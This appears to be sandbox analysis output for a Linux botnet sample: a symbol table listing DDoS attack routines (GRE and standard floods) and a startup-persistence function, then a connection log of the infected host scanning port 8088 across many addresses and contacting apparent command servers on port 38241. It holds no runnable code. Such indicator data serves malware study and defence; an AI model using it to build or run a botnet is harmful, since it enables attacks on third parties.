_fixed_buffers	.symtab	0x2a434	8192	OBJECT	<unknown>	DEFAULT	14
_fopen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fp_out_narrow	.symtab	0x130cc	132	FUNC	<unknown>	DEFAULT	2
_fpmaxtostr	.symtab	0x1afa0	2036	FUNC	<unknown>	HIDDEN	2
_fpmaxtostr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fwrite.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_init	.symtab	0x80d4	0	FUNC	<unknown>	DEFAULT	1
_load_inttype	.symtab	0x1ada4	116	FUNC	<unknown>	HIDDEN	2
_load_inttype.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_memcpy	.symtab	0x1ba10	0	FUNC	<unknown>	HIDDEN	2
_ppfs_init	.symtab	0x13844	160	FUNC	<unknown>	HIDDEN	2
_ppfs_init.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_parsespec	.symtab	0x13b2c	1392	FUNC	<unknown>	HIDDEN	2
_ppfs_parsespec.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_prepargs	.symtab	0x138e4	68	FUNC	<unknown>	HIDDEN	2
_ppfs_prepargs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_setargs	.symtab	0x13928	432	FUNC	<unknown>	HIDDEN	2
_ppfs_setargs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_promoted_size	.symtab	0x13ad8	84	FUNC	<unknown>	DEFAULT	2
_pthread_cleanup_pop_restore	.symtab	0x1906c	44	FUNC	<unknown>	DEFAULT	2
_pthread_cleanup_push_defer	.symtab	0x19064	8	FUNC	<unknown>	DEFAULT	2
_rfill.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_setjmp	.symtab	0x19e00	8	FUNC	<unknown>	DEFAULT	2
_sigintr	.symtab	0x2cf8c	8	OBJECT	<unknown>	HIDDEN	14
_start	.symtab	0x8194	0	FUNC	<unknown>	DEFAULT	2
_stdio.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_stdio_fopen	.symtab	0x128c0	1120	FUNC	<unknown>	HIDDEN	2
_stdio_init	.symtab	0x12d20	128	FUNC	<unknown>	HIDDEN	2
_stdio_openlist	.symtab	0x2a1e0	4	OBJECT	<unknown>	DEFAULT	13
_stdio_openlist_add_lock	.symtab	0x2a414	12	OBJECT	<unknown>	DEFAULT	14
_stdio_openlist_dec_use	.symtab	0x14400	688	FUNC	<unknown>	HIDDEN	2
_stdio_openlist_del_count	.symtab	0x2a430	4	OBJECT	<unknown>	DEFAULT	14
_stdio_openlist_del_lock	.symtab	0x2a420	12	OBJECT	<unknown>	DEFAULT	14
_stdio_openlist_use_count	.symtab	0x2a42c	4	OBJECT	<unknown>	DEFAULT	14
_stdio_streams	.symtab	0x2a1e4	204	OBJECT	<unknown>	DEFAULT	13
_stdio_term	.symtab	0x12da0	356	FUNC	<unknown>	HIDDEN	2
_stdio_user_locking	.symtab	0x2a1c8	4	OBJECT	<unknown>	DEFAULT	13
_stdlib_strto_l	.symtab	0x17b84	472	FUNC	<unknown>	HIDDEN	2
_stdlib_strto_l.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_store_inttype	.symtab	0x1ae18	44	FUNC	<unknown>	HIDDEN	2
_store_inttype.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_string_syserrmsgs	.symtab	0x20ddc	2906	OBJECT	<unknown>	HIDDEN	4
_string_syserrmsgs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_trans2r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_trans2w.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_uintmaxtostr	.symtab	0x1ae44	348	FUNC	<unknown>	HIDDEN	2
_uintmaxtostr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_vfprintf_internal	.symtab	0x13150	1780	FUNC	<unknown>	HIDDEN	2
_vfprintf_internal.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_wcommit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
abort	.symtab	0x173fc	296	FUNC	<unknown>	DEFAULT	2
abort.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
access.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
add_to_startup	.symtab	0xe918	1060	FUNC	<unknown>	DEFAULT	2
atoi	.symtab	0x17b48	32	FUNC	<unknown>	DEFAULT	2
atol	.symtab	0x17b48	32	FUNC	<unknown>	DEFAULT	2
atol.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_get_opt_int	.symtab	0x8554	112	FUNC	<unknown>	DEFAULT	2
attack_get_opt_ip	.symtab	0x84e8	108	FUNC	<unknown>	DEFAULT	2
attack_gre.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_gre_eth	.symtab	0x8b88	1684	FUNC	<unknown>	DEFAULT	2
attack_gre_ip	.symtab	0x921c	1564	FUNC	<unknown>	DEFAULT	2
attack_init	.symtab	0x85c4	1476	FUNC	<unknown>	DEFAULT	2
attack_parse	.symtab	0x82cc	540	FUNC	<unknown>	DEFAULT	2
attack_start	.symtab	0x81d0	252	FUNC	<unknown>	DEFAULT	2
attack_std	.symtab	0x9838	672	FUNC	<unknown>	DEFAULT	2
attack_std.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 12, 2024 00:36:43.703077078 CEST	43928	443	192.168.2.23	91.189.91.42
Sep 12, 2024 00:36:47.784444094 CEST	43944	8088	192.168.2.23	151.210.79.118
Sep 12, 2024 00:36:47.785742044 CEST	33766	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:36:48.790550947 CEST	43944	8088	192.168.2.23	151.210.79.118
Sep 12, 2024 00:36:48.790553093 CEST	33766	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:36:49.078705072 CEST	42836	443	192.168.2.23	91.189.91.43
Sep 12, 2024 00:36:50.614135027 CEST	42516	80	192.168.2.23	109.202.202.202
Sep 12, 2024 00:36:50.797890902 CEST	49714	8088	192.168.2.23	76.204.79.118
Sep 12, 2024 00:36:50.806092978 CEST	33766	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:36:51.801939011 CEST	49714	8088	192.168.2.23	76.204.79.118
Sep 12, 2024 00:36:53.800523996 CEST	48330	8088	192.168.2.23	133.194.79.118
Sep 12, 2024 00:36:54.805613995 CEST	48330	8088	192.168.2.23	133.194.79.118
Sep 12, 2024 00:36:54.965568066 CEST	33766	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:36:55.138076067 CEST	8088	48330	133.194.79.118	192.168.2.23
Sep 12, 2024 00:36:55.138253927 CEST	48330	8088	192.168.2.23	133.194.79.118
Sep 12, 2024 00:36:55.463171959 CEST	8088	48330	133.194.79.118	192.168.2.23
Sep 12, 2024 00:36:55.465482950 CEST	48330	8088	192.168.2.23	133.194.79.118
Sep 12, 2024 00:36:56.801903009 CEST	48330	8088	192.168.2.23	133.194.79.118
Sep 12, 2024 00:36:56.802535057 CEST	57172	8088	192.168.2.23	94.220.79.118
Sep 12, 2024 00:36:57.685198069 CEST	48330	8088	192.168.2.23	133.194.79.118
Sep 12, 2024 00:36:57.813139915 CEST	57172	8088	192.168.2.23	94.220.79.118
Sep 12, 2024 00:36:58.220664024 CEST	8088	48330	133.194.79.118	192.168.2.23
Sep 12, 2024 00:36:59.804960012 CEST	53248	8088	192.168.2.23	106.99.156.126
Sep 12, 2024 00:37:00.811436892 CEST	44124	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:37:00.820736885 CEST	53248	8088	192.168.2.23	106.99.156.126
Sep 12, 2024 00:37:01.812757015 CEST	44124	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:37:02.126777887 CEST	38241	44124	154.216.17.220	192.168.2.23
Sep 12, 2024 00:37:02.127341032 CEST	44124	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:37:02.807174921 CEST	36878	8088	192.168.2.23	89.237.185.118
Sep 12, 2024 00:37:02.817246914 CEST	44124	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:37:03.127464056 CEST	38241	44124	154.216.17.220	192.168.2.23
Sep 12, 2024 00:37:03.129796982 CEST	44124	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:37:03.152870893 CEST	38241	44124	154.216.17.220	192.168.2.23
Sep 12, 2024 00:37:03.153698921 CEST	38241	44124	154.216.17.220	192.168.2.23
Sep 12, 2024 00:37:03.154141903 CEST	44124	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:37:03.703444958 CEST	38241	44124	154.216.17.220	192.168.2.23
Sep 12, 2024 00:37:03.828340054 CEST	36878	8088	192.168.2.23	89.237.185.118
Sep 12, 2024 00:37:04.156533957 CEST	59458	38241	192.168.2.23	91.92.246.113
Sep 12, 2024 00:37:04.180311918 CEST	43928	443	192.168.2.23	91.189.91.42
Sep 12, 2024 00:37:05.172188044 CEST	59458	38241	192.168.2.23	91.92.246.113
Sep 12, 2024 00:37:05.810380936 CEST	37102	8088	192.168.2.23	78.220.79.118
Sep 12, 2024 00:37:06.136008978 CEST	8088	37102	78.220.79.118	192.168.2.23
Sep 12, 2024 00:37:06.136073112 CEST	37102	8088	192.168.2.23	78.220.79.118
Sep 12, 2024 00:37:07.188047886 CEST	59458	38241	192.168.2.23	91.92.246.113
Sep 12, 2024 00:37:07.434056044 CEST	8088	37102	78.220.79.118	192.168.2.23
Sep 12, 2024 00:37:07.434125900 CEST	37102	8088	192.168.2.23	78.220.79.118
Sep 12, 2024 00:37:08.811273098 CEST	37102	8088	192.168.2.23	78.220.79.118
Sep 12, 2024 00:37:08.811630964 CEST	49488	8088	192.168.2.23	222.102.85.235
Sep 12, 2024 00:37:09.179425001 CEST	8088	37102	78.220.79.118	192.168.2.23
Sep 12, 2024 00:37:09.179658890 CEST	37102	8088	192.168.2.23	78.220.79.118
Sep 12, 2024 00:37:09.428699970 CEST	8088	37102	78.220.79.118	192.168.2.23
Sep 12, 2024 00:37:09.432266951 CEST	37102	8088	192.168.2.23	78.220.79.118
Sep 12, 2024 00:37:09.687568903 CEST	37102	8088	192.168.2.23	78.220.79.118
Sep 12, 2024 00:37:09.811547041 CEST	49488	8088	192.168.2.23	222.102.85.235
Sep 12, 2024 00:37:10.679435015 CEST	37102	8088	192.168.2.23	78.220.79.118
Sep 12, 2024 00:37:11.347371101 CEST	59458	38241	192.168.2.23	91.92.246.113
Sep 12, 2024 00:37:11.817492008 CEST	54658	8088	192.168.2.23	200.141.63.82
Sep 12, 2024 00:37:12.659198999 CEST	37102	8088	192.168.2.23	78.220.79.118
Sep 12, 2024 00:37:12.819156885 CEST	54658	8088	192.168.2.23	200.141.63.82
Sep 12, 2024 00:37:14.817147970 CEST	45478	8088	192.168.2.23	52.160.110.126
Sep 12, 2024 00:37:15.261682034 CEST	8088	45478	52.160.110.126	192.168.2.23
Sep 12, 2024 00:37:15.261823893 CEST	45478	8088	192.168.2.23	52.160.110.126
Sep 12, 2024 00:37:16.279316902 CEST	8088	45478	52.160.110.126	192.168.2.23
Sep 12, 2024 00:37:16.279586077 CEST	45478	8088	192.168.2.23	52.160.110.126
Sep 12, 2024 00:37:16.312623024 CEST	8088	37102	78.220.79.118	192.168.2.23
Sep 12, 2024 00:37:16.313838005 CEST	37102	8088	192.168.2.23	78.220.79.118
Sep 12, 2024 00:37:16.466756105 CEST	42836	443	192.168.2.23	91.189.91.43
Sep 12, 2024 00:37:16.722628117 CEST	37102	8088	192.168.2.23	78.220.79.118
Sep 12, 2024 00:37:17.168275118 CEST	53914	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:37:17.818010092 CEST	45478	8088	192.168.2.23	52.160.110.126
Sep 12, 2024 00:37:17.818383932 CEST	49044	8088	192.168.2.23	27.174.203.118
Sep 12, 2024 00:37:18.113596916 CEST	8088	45478	52.160.110.126	192.168.2.23
Sep 12, 2024 00:37:18.114559889 CEST	8088	45478	52.160.110.126	192.168.2.23
Sep 12, 2024 00:37:18.194442987 CEST	53914	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:37:18.834356070 CEST	49044	8088	192.168.2.23	27.174.203.118
Sep 12, 2024 00:37:20.210171938 CEST	53914	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:37:20.562136889 CEST	42516	80	192.168.2.23	109.202.202.202
Sep 12, 2024 00:37:20.820358038 CEST	38258	8088	192.168.2.23	138.85.232.54
Sep 12, 2024 00:37:21.450951099 CEST	8088	38258	138.85.232.54	192.168.2.23
Sep 12, 2024 00:37:21.451137066 CEST	38258	8088	192.168.2.23	138.85.232.54
Sep 12, 2024 00:37:22.472093105 CEST	8088	38258	138.85.232.54	192.168.2.23
Sep 12, 2024 00:37:22.472189903 CEST	38258	8088	192.168.2.23	138.85.232.54
Sep 12, 2024 00:37:22.479424000 CEST	8088	38258	138.85.232.54	192.168.2.23
Sep 12, 2024 00:37:22.481925011 CEST	38258	8088	192.168.2.23	138.85.232.54
Sep 12, 2024 00:37:23.821276903 CEST	38258	8088	192.168.2.23	138.85.232.54
Sep 12, 2024 00:37:23.821600914 CEST	45162	8088	192.168.2.23	82.207.23.152
Sep 12, 2024 00:37:23.826052904 CEST	8088	38258	138.85.232.54	192.168.2.23
Sep 12, 2024 00:37:23.826457977 CEST	8088	45162	82.207.23.152	192.168.2.23
Sep 12, 2024 00:37:23.826549053 CEST	45162	8088	192.168.2.23	82.207.23.152
Sep 12, 2024 00:37:24.401619911 CEST	53914	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:37:24.612740993 CEST	38241	53914	93.123.85.166	192.168.2.23
Sep 12, 2024 00:37:24.612945080 CEST	53914	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:37:24.613755941 CEST	53914	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:37:24.621330023 CEST	38241	53914	93.123.85.166	192.168.2.23
Sep 12, 2024 00:37:24.621398926 CEST	53914	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:37:24.629733086 CEST	38241	53914	93.123.85.166	192.168.2.23
Sep 12, 2024 00:37:24.657659054 CEST	37102	8088	192.168.2.23	78.220.79.118
Sep 12, 2024 00:37:24.663759947 CEST	8088	37102	78.220.79.118	192.168.2.23
Sep 12, 2024 00:37:25.263854980 CEST	38241	53914	93.123.85.166	192.168.2.23
Sep 12, 2024 00:37:25.263906002 CEST	53914	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:37:25.264043093 CEST	53914	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:37:26.264982939 CEST	33798	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:37:26.274601936 CEST	38241	33798	45.202.35.64	192.168.2.23
Sep 12, 2024 00:37:26.274662018 CEST	33798	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:37:26.822380066 CEST	45162	8088	192.168.2.23	82.207.23.152
Sep 12, 2024 00:37:26.822735071 CEST	39082	8088	192.168.2.23	100.179.115.147
Sep 12, 2024 00:37:26.827919006 CEST	8088	45162	82.207.23.152	192.168.2.23
Sep 12, 2024 00:37:26.828527927 CEST	8088	39082	100.179.115.147	192.168.2.23
Sep 12, 2024 00:37:26.828596115 CEST	39082	8088	192.168.2.23	100.179.115.147
Sep 12, 2024 00:37:28.267299891 CEST	33798	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:37:28.272293091 CEST	38241	33798	45.202.35.64	192.168.2.23
Sep 12, 2024 00:37:28.272357941 CEST	33798	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:37:28.277272940 CEST	38241	33798	45.202.35.64	192.168.2.23
Sep 12, 2024 00:37:29.823653936 CEST	39082	8088	192.168.2.23	100.179.115.147
Sep 12, 2024 00:37:29.823892117 CEST	52626	8088	192.168.2.23	103.108.227.184
Sep 12, 2024 00:37:29.886976004 CEST	8088	39082	100.179.115.147	192.168.2.23
Sep 12, 2024 00:37:29.886984110 CEST	8088	52626	103.108.227.184	192.168.2.23
Sep 12, 2024 00:37:29.887063980 CEST	52626	8088	192.168.2.23	103.108.227.184
Sep 12, 2024 00:37:32.824621916 CEST	52626	8088	192.168.2.23	103.108.227.184
Sep 12, 2024 00:37:32.825103998 CEST	46346	8088	192.168.2.23	244.58.211.204
Sep 12, 2024 00:37:32.829562902 CEST	8088	52626	103.108.227.184	192.168.2.23
Sep 12, 2024 00:37:32.830159903 CEST	8088	46346	244.58.211.204	192.168.2.23
Sep 12, 2024 00:37:32.830296040 CEST	46346	8088	192.168.2.23	244.58.211.204
Sep 12, 2024 00:37:33.200629950 CEST	8088	46346	244.58.211.204	192.168.2.23
Sep 12, 2024 00:37:33.204441071 CEST	46346	8088	192.168.2.23	244.58.211.204
Sep 12, 2024 00:37:35.825790882 CEST	46346	8088	192.168.2.23	244.58.211.204
Sep 12, 2024 00:37:35.826231956 CEST	50640	8088	192.168.2.23	99.17.152.234
Sep 12, 2024 00:37:36.036108017 CEST	46346	8088	192.168.2.23	244.58.211.204
Sep 12, 2024 00:37:36.084811926 CEST	8088	46346	244.58.211.204	192.168.2.23
Sep 12, 2024 00:37:36.084853888 CEST	8088	50640	99.17.152.234	192.168.2.23
Sep 12, 2024 00:37:36.084883928 CEST	8088	46346	244.58.211.204	192.168.2.23
Sep 12, 2024 00:37:36.084906101 CEST	50640	8088	192.168.2.23	99.17.152.234
Sep 12, 2024 00:37:38.827234030 CEST	50640	8088	192.168.2.23	99.17.152.234
Sep 12, 2024 00:37:38.827593088 CEST	48256	8088	192.168.2.23	199.119.126.228
Sep 12, 2024 00:37:39.036015034 CEST	8088	50640	99.17.152.234	192.168.2.23
Sep 12, 2024 00:37:39.036030054 CEST	8088	48256	199.119.126.228	192.168.2.23
Sep 12, 2024 00:37:39.036082983 CEST	48256	8088	192.168.2.23	199.119.126.228
Sep 12, 2024 00:37:41.828711033 CEST	48256	8088	192.168.2.23	199.119.126.228
Sep 12, 2024 00:37:41.829015017 CEST	58376	8088	192.168.2.23	123.191.93.71
Sep 12, 2024 00:37:41.836245060 CEST	8088	48256	199.119.126.228	192.168.2.23
Sep 12, 2024 00:37:41.837861061 CEST	8088	58376	123.191.93.71	192.168.2.23
Sep 12, 2024 00:37:41.837912083 CEST	58376	8088	192.168.2.23	123.191.93.71
Sep 12, 2024 00:37:44.829803944 CEST	58376	8088	192.168.2.23	123.191.93.71
Sep 12, 2024 00:37:44.830182076 CEST	38034	8088	192.168.2.23	254.41.12.18
Sep 12, 2024 00:37:44.879401922 CEST	8088	58376	123.191.93.71	192.168.2.23
Sep 12, 2024 00:37:44.879414082 CEST	8088	38034	254.41.12.18	192.168.2.23
Sep 12, 2024 00:37:44.879494905 CEST	38034	8088	192.168.2.23	254.41.12.18
Sep 12, 2024 00:37:45.134851933 CEST	43928	443	192.168.2.23	91.189.91.42
Sep 12, 2024 00:37:45.196350098 CEST	8088	45162	82.207.23.152	192.168.2.23
Sep 12, 2024 00:37:45.198843002 CEST	45162	8088	192.168.2.23	82.207.23.152
Sep 12, 2024 00:37:45.632344007 CEST	8088	38034	254.41.12.18	192.168.2.23
Sep 12, 2024 00:37:45.634799004 CEST	38034	8088	192.168.2.23	254.41.12.18
Sep 12, 2024 00:37:45.640294075 CEST	8088	38034	254.41.12.18	192.168.2.23
Sep 12, 2024 00:37:45.640348911 CEST	38034	8088	192.168.2.23	254.41.12.18
Sep 12, 2024 00:37:47.629458904 CEST	38241	33798	45.202.35.64	192.168.2.23
Sep 12, 2024 00:37:47.629556894 CEST	33798	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:37:47.634366035 CEST	38241	33798	45.202.35.64	192.168.2.23
Sep 12, 2024 00:37:47.831758976 CEST	38034	8088	192.168.2.23	254.41.12.18
Sep 12, 2024 00:37:47.832329988 CEST	56610	8088	192.168.2.23	213.49.53.56
Sep 12, 2024 00:37:47.836707115 CEST	8088	38034	254.41.12.18	192.168.2.23
Sep 12, 2024 00:37:47.837198019 CEST	8088	56610	213.49.53.56	192.168.2.23
Sep 12, 2024 00:37:47.837253094 CEST	56610	8088	192.168.2.23	213.49.53.56
Sep 12, 2024 00:37:48.193722963 CEST	8088	39082	100.179.115.147	192.168.2.23
Sep 12, 2024 00:37:48.194468021 CEST	39082	8088	192.168.2.23	100.179.115.147
Sep 12, 2024 00:37:48.631891012 CEST	44164	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:37:48.640876055 CEST	38241	44164	154.216.17.220	192.168.2.23
Sep 12, 2024 00:37:48.640944958 CEST	44164	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:37:50.633872986 CEST	44164	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:37:50.655936956 CEST	38241	44164	154.216.17.220	192.168.2.23
Sep 12, 2024 00:37:50.655998945 CEST	44164	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:37:50.664935112 CEST	38241	44164	154.216.17.220	192.168.2.23
Sep 12, 2024 00:37:50.834150076 CEST	56610	8088	192.168.2.23	213.49.53.56
Sep 12, 2024 00:37:50.835010052 CEST	42658	8088	192.168.2.23	91.185.226.47
Sep 12, 2024 00:37:50.839461088 CEST	8088	56610	213.49.53.56	192.168.2.23
Sep 12, 2024 00:37:50.840719938 CEST	8088	42658	91.185.226.47	192.168.2.23
Sep 12, 2024 00:37:50.840764046 CEST	42658	8088	192.168.2.23	91.185.226.47
Sep 12, 2024 00:37:51.272195101 CEST	8088	52626	103.108.227.184	192.168.2.23
Sep 12, 2024 00:37:51.278086901 CEST	52626	8088	192.168.2.23	103.108.227.184
Sep 12, 2024 00:37:53.836040020 CEST	42658	8088	192.168.2.23	91.185.226.47
Sep 12, 2024 00:37:53.836441994 CEST	37442	8088	192.168.2.23	187.125.238.133
Sep 12, 2024 00:37:53.842573881 CEST	8088	42658	91.185.226.47	192.168.2.23
Sep 12, 2024 00:37:53.844415903 CEST	8088	37442	187.125.238.133	192.168.2.23
Sep 12, 2024 00:37:53.844482899 CEST	37442	8088	192.168.2.23	187.125.238.133
Sep 12, 2024 00:37:56.837558031 CEST	37442	8088	192.168.2.23	187.125.238.133
Sep 12, 2024 00:37:56.837902069 CEST	52634	8088	192.168.2.23	33.247.222.246
Sep 12, 2024 00:37:56.844765902 CEST	8088	37442	187.125.238.133	192.168.2.23
Sep 12, 2024 00:37:56.844788074 CEST	8088	52634	33.247.222.246	192.168.2.23
Sep 12, 2024 00:37:56.844826937 CEST	52634	8088	192.168.2.23	33.247.222.246
Sep 12, 2024 00:37:57.459095001 CEST	8088	50640	99.17.152.234	192.168.2.23
Sep 12, 2024 00:37:57.461230993 CEST	50640	8088	192.168.2.23	99.17.152.234
Sep 12, 2024 00:37:59.839138031 CEST	52634	8088	192.168.2.23	33.247.222.246
Sep 12, 2024 00:37:59.839746952 CEST	58836	8088	192.168.2.23	182.203.244.103
Sep 12, 2024 00:37:59.845990896 CEST	8088	52634	33.247.222.246	192.168.2.23
Sep 12, 2024 00:37:59.848438025 CEST	8088	58836	182.203.244.103	192.168.2.23
Sep 12, 2024 00:37:59.848506927 CEST	58836	8088	192.168.2.23	182.203.244.103
Sep 12, 2024 00:38:00.411842108 CEST	8088	48256	199.119.126.228	192.168.2.23
Sep 12, 2024 00:38:00.412826061 CEST	48256	8088	192.168.2.23	199.119.126.228
Sep 12, 2024 00:38:02.841063976 CEST	58836	8088	192.168.2.23	182.203.244.103
Sep 12, 2024 00:38:02.841430902 CEST	41508	8088	192.168.2.23	114.142.230.93
Sep 12, 2024 00:38:02.904011965 CEST	8088	58836	182.203.244.103	192.168.2.23
Sep 12, 2024 00:38:02.905339003 CEST	8088	41508	114.142.230.93	192.168.2.23
Sep 12, 2024 00:38:02.905412912 CEST	41508	8088	192.168.2.23	114.142.230.93
Sep 12, 2024 00:38:03.077342987 CEST	8088	41508	114.142.230.93	192.168.2.23
Sep 12, 2024 00:38:03.084461927 CEST	41508	8088	192.168.2.23	114.142.230.93
Sep 12, 2024 00:38:03.201456070 CEST	8088	58376	123.191.93.71	192.168.2.23
Sep 12, 2024 00:38:03.204443932 CEST	58376	8088	192.168.2.23	123.191.93.71
Sep 12, 2024 00:38:03.411678076 CEST	8088	58376	123.191.93.71	192.168.2.23
Sep 12, 2024 00:38:03.411736012 CEST	58376	8088	192.168.2.23	123.191.93.71
Sep 12, 2024 00:38:05.842616081 CEST	46942	8088	192.168.2.23	208.35.19.171
Sep 12, 2024 00:38:05.842643023 CEST	41508	8088	192.168.2.23	114.142.230.93
Sep 12, 2024 00:38:06.124245882 CEST	41508	8088	192.168.2.23	114.142.230.93
Sep 12, 2024 00:38:06.412020922 CEST	41508	8088	192.168.2.23	114.142.230.93
Sep 12, 2024 00:38:06.859997988 CEST	46942	8088	192.168.2.23	208.35.19.171
Sep 12, 2024 00:38:06.955971956 CEST	41508	8088	192.168.2.23	114.142.230.93
Sep 12, 2024 00:38:07.615839958 CEST	8088	46942	208.35.19.171	192.168.2.23
Sep 12, 2024 00:38:07.615911007 CEST	46942	8088	192.168.2.23	208.35.19.171
Sep 12, 2024 00:38:07.732490063 CEST	8088	41508	114.142.230.93	192.168.2.23
Sep 12, 2024 00:38:08.635935068 CEST	8088	46942	208.35.19.171	192.168.2.23
Sep 12, 2024 00:38:08.636071920 CEST	46942	8088	192.168.2.23	208.35.19.171
Sep 12, 2024 00:38:08.843389988 CEST	46942	8088	192.168.2.23	208.35.19.171
Sep 12, 2024 00:38:08.843801022 CEST	54884	8088	192.168.2.23	108.174.117.170
Sep 12, 2024 00:38:09.195400953 CEST	8088	56610	213.49.53.56	192.168.2.23
Sep 12, 2024 00:38:09.195664883 CEST	56610	8088	192.168.2.23	213.49.53.56
Sep 12, 2024 00:38:09.403783083 CEST	8088	56610	213.49.53.56	192.168.2.23
Sep 12, 2024 00:38:09.403872013 CEST	56610	8088	192.168.2.23	213.49.53.56
Sep 12, 2024 00:38:09.489111900 CEST	8088	46942	208.35.19.171	192.168.2.23
Sep 12, 2024 00:38:09.491628885 CEST	46942	8088	192.168.2.23	208.35.19.171
Sep 12, 2024 00:38:09.615580082 CEST	8088	56610	213.49.53.56	192.168.2.23
Sep 12, 2024 00:38:09.615674019 CEST	56610	8088	192.168.2.23	213.49.53.56
Sep 12, 2024 00:38:09.871592999 CEST	54884	8088	192.168.2.23	108.174.117.170
Sep 12, 2024 00:38:10.056966066 CEST	38241	44164	154.216.17.220	192.168.2.23
Sep 12, 2024 00:38:10.057073116 CEST	8088	56610	213.49.53.56	192.168.2.23
Sep 12, 2024 00:38:10.057128906 CEST	56610	8088	192.168.2.23	213.49.53.56
Sep 12, 2024 00:38:10.058828115 CEST	44164	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:38:10.232120991 CEST	38241	44164	154.216.17.220	192.168.2.23
Sep 12, 2024 00:38:10.234215975 CEST	44164	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:38:10.273572922 CEST	44164	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:38:10.439625025 CEST	38241	44164	154.216.17.220	192.168.2.23
Sep 12, 2024 00:38:10.441519976 CEST	44164	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:38:10.493221045 CEST	44164	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:38:10.571475029 CEST	46942	8088	192.168.2.23	208.35.19.171
Sep 12, 2024 00:38:10.871778965 CEST	38241	44164	154.216.17.220	192.168.2.23
Sep 12, 2024 00:38:10.873512983 CEST	44164	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:38:10.929258108 CEST	44164	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:38:11.058862925 CEST	59510	38241	192.168.2.23	91.92.246.113
Sep 12, 2024 00:38:11.793098927 CEST	44164	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:38:11.846641064 CEST	44932	8088	192.168.2.23	207.65.222.48
Sep 12, 2024 00:38:11.867036104 CEST	38241	59510	91.92.246.113	192.168.2.23
Sep 12, 2024 00:38:11.867098093 CEST	59510	38241	192.168.2.23	91.92.246.113
Sep 12, 2024 00:38:12.249247074 CEST	8088	42658	91.185.226.47	192.168.2.23
Sep 12, 2024 00:38:12.251271009 CEST	42658	8088	192.168.2.23	91.185.226.47
Sep 12, 2024 00:38:12.459827900 CEST	8088	42658	91.185.226.47	192.168.2.23
Sep 12, 2024 00:38:12.459884882 CEST	42658	8088	192.168.2.23	91.185.226.47
Sep 12, 2024 00:38:12.671756029 CEST	8088	42658	91.185.226.47	192.168.2.23
Sep 12, 2024 00:38:12.671829939 CEST	42658	8088	192.168.2.23	91.185.226.47
Sep 12, 2024 00:38:12.879183054 CEST	44932	8088	192.168.2.23	207.65.222.48
Sep 12, 2024 00:38:12.891798973 CEST	38241	59510	91.92.246.113	192.168.2.23
Sep 12, 2024 00:38:12.891858101 CEST	59510	38241	192.168.2.23	91.92.246.113
Sep 12, 2024 00:38:13.035145044 CEST	46942	8088	192.168.2.23	208.35.19.171
Sep 12, 2024 00:38:13.061188936 CEST	59510	38241	192.168.2.23	91.92.246.113
Sep 12, 2024 00:38:13.520728111 CEST	44164	38241	192.168.2.23	154.216.17.220
